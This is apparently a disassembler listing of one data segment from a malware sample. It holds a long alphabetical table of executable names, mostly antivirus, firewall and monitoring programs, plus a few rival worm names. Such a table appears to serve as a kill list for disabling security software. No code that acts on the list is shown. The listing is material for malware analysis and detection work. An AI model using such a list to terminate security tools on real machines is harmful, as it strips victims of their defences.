aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: seg001:00434B24o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: seg001:00434B20o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: seg001:00434B1Co
		align 10h
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: seg001:00434B18o
		align 10h
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: seg001:00434B14o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: seg001:00434B10o
		align 10h
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: seg001:00434B0Co
		align 4
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: seg001:00434B08o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: seg001:00434B04o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: seg001:00434B00o
		align 10h
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: seg001:00434AFCo
		align 4
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: seg001:00434AF8o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: seg001:00434AF4o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: seg001:00434AF0o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: seg001:00434AECo
		align 4
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: seg001:00434AE8o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: seg001:00434AE4o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: seg001:00434AE0o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: seg001:00434ADCo
		align 4
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: seg001:00434AD8o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: seg001:00434AD4o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: seg001:00434AD0o
		align 10h
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: seg001:00434ACCo
		align 4
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: seg001:00434AC8o
		align 4
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: seg001:00434AC4o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: seg001:00434AC0o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: seg001:00434ABCo
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: seg001:00434AB8o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: seg001:00434AB4o
		align 10h
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: seg001:00434AB0o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: seg001:00434AACo
		align 4
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: seg001:00434AA8o
		align 4
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: seg001:00434AA4o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: seg001:00434AA0o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: seg001:00434A9Co
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: seg001:00434A98o
		align 10h
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: seg001:00434A94o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: seg001:00434A90o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: seg001:00434A8Co
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: seg001:00434A88o
		align 10h
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: seg001:00434A84o
		align 4
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: seg001:00434A80o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: seg001:00434A7Co
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: seg001:00434A78o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: seg001:00434A74o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: seg001:00434A70o
		align 10h
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: seg001:00434A6Co
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: seg001:00434A68o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: seg001:00434A64o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: seg001:00434A60o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: seg001:00434A5Co
		align 4
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: seg001:00434A58o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: seg001:00434A54o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: seg001:00434A50o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: seg001:00434A4Co
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: seg001:00434A48o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: seg001:00434A44o
		align 10h
aMd_exe		db 'MD.EXE',0           ; DATA XREF: seg001:00434A40o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: seg001:00434A3Co
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: seg001:00434A38o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: seg001:00434A30o
					; seg001:00434A34o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: seg001:00434A2Co
		align 10h
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: seg001:00434A28o
		align 10h
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: seg001:00434A24o
		align 10h
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: seg001:00434A20o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: seg001:00434A1Co
		align 4
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: seg001:00434A18o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: seg001:00434A14o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: seg001:00434A10o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: seg001:00434A0Co
		align 10h
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: seg001:00434A04o
					; seg001:00434A08o
		align 4
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: seg001:00434A00o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: seg001:004349FCo
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: seg001:004349F8o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: seg001:004349F4o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: seg001:004349F0o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: seg001:004349ECo
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: seg001:004349E8o
		align 10h
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: seg001:004349E4o
		align 10h
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: seg001:004349E0o
		align 4
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: seg001:004349DCo
		align 4
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: seg001:004349D8o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: seg001:004349D4o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: seg001:004349D0o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: seg001:004349CCo
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: seg001:004349C8o
		align 10h
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: seg001:004349C4o
		align 4
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: seg001:004349C0o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: seg001:004349BCo
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: seg001:004349B8o
		align 10h
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: seg001:004349B4o
		align 4
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: seg001:004349B0o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: seg001:004349ACo
		align 4
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: seg001:004349A8o
		align 10h
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: seg001:004349A4o
		align 4
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: seg001:004349A0o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: seg001:0043499Co
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: seg001:00434998o
		align 10h
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: seg001:00434994o
		align 4
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: seg001:00434990o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: seg001:0043498Co
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: seg001:00434988o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: seg001:00434984o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: seg001:00434980o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: seg001:0043497Co
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: seg001:00434978o
		align 10h
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: seg001:00434974o
		align 4
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: seg001:00434970o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: seg001:0043496Co
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: seg001:00434968o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: seg001:00434964o
		align 10h
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: seg001:00434960o
		align 10h
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: seg001:0043495Co
		align 10h
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: seg001:00434958o
		align 4
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: seg001:00434954o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: seg001:00434950o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: seg001:00434948o
					; seg001:0043494Co
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: seg001:00434944o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: seg001:00434940o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: seg001:0043493Co
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: seg001:00434938o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: seg001:00434934o
		align 4
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: seg001:00434930o
		align 4
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: seg001:0043492Co
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: seg001:00434928o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: seg001:00434924o
		align 10h
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: seg001:00434920o
		align 4
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: seg001:0043491Co
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: seg001:00434918o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: seg001:00434914o
		align 10h
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: seg001:00434910o
		align 10h
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: seg001:0043490Co
		align 10h
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: seg001:00434908o
		align 4
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: seg001:00434904o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: seg001:00434900o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: seg001:004348FCo
		align 4
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: seg001:004348F8o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: seg001:004348F4o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: seg001:004348F0o
		align 10h
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: seg001:004348ECo
		align 4
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: seg001:004348E8o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: seg001:004348E4o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: seg001:004348E0o
		align 10h
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: seg001:004348DCo
		align 4
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: seg001:004348D8o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: seg001:004348D4o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: seg001:004348D0o
		align 10h
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: seg001:004348CCo
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: seg001:004348C8o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: seg001:004348C4o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: seg001:004348C0o
		align 10h
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: seg001:004348BCo
		align 4
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: seg001:004348B8o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: seg001:004348B4o
		align 10h
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: seg001:004348B0o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: seg001:004348ACo
		align 10h
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: seg001:004348A8o
		align 4
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: seg001:004348A4o
		align 10h
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: seg001:004348A0o
		align 10h
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: seg001:0043489Co
		align 10h
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: seg001:00434898o
		align 4
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: seg001:00434894o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: seg001:00434890o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: seg001:0043488Co
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: seg001:00434888o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: seg001:00434884o
		align 4
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: seg001:00434880o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: seg001:0043487Co
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: seg001:00434878o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: seg001:00434874o
		align 10h
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: seg001:00434870o
		align 10h
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: seg001:0043486Co
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: seg001:00434868o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: seg001:00434864o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: seg001:00434860o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: seg001:0043485Co
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: seg001:00434858o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: seg001:00434854o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: seg001:00434850o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: seg001:0043484Co
		align 10h
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: seg001:00434848o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: seg001:00434844o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: seg001:00434840o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: seg001:0043483Co
		align 10h
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: seg001:00434838o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: seg001:00434834o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: seg001:00434830o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: seg001:0043482Co
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: seg001:00434828o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: seg001:00434824o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: seg001:00434820o
		align 10h
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: seg001:0043481Co
		align 10h
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: seg001:00434818o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: seg001:00434814o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: seg001:00434810o
		align 10h
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: seg001:0043480Co
		align 10h
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: seg001:00434808o
		align 4
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: seg001:00434804o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: seg001:00434800o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: seg001:004347FCo
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: seg001:004347F8o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: seg001:004347F4o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: seg001:004347F0o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: seg001:004347E8o
		align 10h
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: seg001:004347E4o
		align 10h
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: seg001:004347E0o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: seg001:004347DCo
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: seg001:004347D8o
		align 10h
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: seg001:004347D4o
		align 10h
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: seg001:004347D0o
		align 10h
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: seg001:004347CCo
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: seg001:004347C8o
		align 10h
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: seg001:004347C4o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: seg001:004347C0o
		align 4
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: seg001:004347BCo
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: seg001:004347B8o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: seg001:004347B4o
		align 10h
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: seg001:004347B0o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: seg001:004347ACo
		align 4
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: seg001:004347A8o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: seg001:004347A4o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: seg001:004347A0o
					; seg001:004347ECo
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: seg001:0043479Co
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: seg001:00434798o
		align 10h
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: seg001:00434790o
					; seg001:00434794o
		align 10h
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: seg001:0043478Co
		align 10h
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: seg001:00434788o
		align 4
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: seg001:00434784o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: seg001:00434780o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: seg001:0043477Co
		align 4
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: seg001:00434778o
		align 4
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: seg001:00434774o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: seg001:00434770o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: seg001:0043476Co
		align 4
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: seg001:00434768o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: seg001:00434764o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: seg001:00434760o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: seg001:0043475Co
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: seg001:00434758o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: seg001:00434754o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: seg001:00434750o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: seg001:0043474Co
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: seg001:00434748o
		align 10h
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: seg001:00434744o
		align 4
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: seg001:00434740o
		align 10h
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: seg001:0043473Co
		align 4
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: seg001:00434738o
		align 4
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: seg001:00434734o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: seg001:00434730o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: seg001:0043472Co
		align 10h
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: seg001:00434728o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: seg001:00434724o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: seg001:00434720o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: seg001:00434718o
					; seg001:0043471Co
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: seg001:00434714o
		align 10h
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: seg001:00434710o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: seg001:0043470Co
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: seg001:00434704o
					; seg001:00434708o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: seg001:00434700o
		align 10h
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: seg001:004346FCo
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: seg001:004346F8o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: seg001:004346F4o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: seg001:004346F0o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: seg001:004346E8o
					; seg001:004346ECo
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: seg001:004346E4o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: seg001:004346E0o
		align 4
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: seg001:004346DCo
		align 4
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: seg001:004346D8o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: seg001:004346D4o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: seg001:004346D0o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: seg001:004346CCo
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: seg001:004346C8o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: seg001:004346C4o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: seg001:004346C0o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: seg001:004346BCo
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: seg001:004346B8o
		align 10h
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: seg001:004346B4o
		align 4
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: seg001:004346B0o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: seg001:004346ACo
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: seg001:004346A8o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: seg001:004346A4o
		align 10h
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: seg001:004346A0o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: seg001:0043469Co
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: seg001:00434698o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: seg001:00434694o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: seg001:0043468Co
					; seg001:00434690o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: seg001:00434684o
					; seg001:00434688o
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: seg001:0043467Co
					; seg001:00434680o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: seg001:00434674o
					; seg001:00434678o
aAu_exe		db 'AU.EXE',0           ; DATA XREF: seg001:00434670o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: seg001:0043466Co
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: seg001:00434664o
					; seg001:00434668o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: seg001:00434660o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: seg001:0043465Co
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: seg001:00434658o
		align 4
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: seg001:00434654o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: seg001:00434650o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: seg001:0043464Co
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: seg001:00434648o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: seg001:00434644o
		align 10h
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: seg001:00434640o
		align 10h
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: seg001:0043463Co
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: seg001:00434638o
		align 4
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: seg001:00434634o
		align 4
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: seg001:00434630o
		align 4
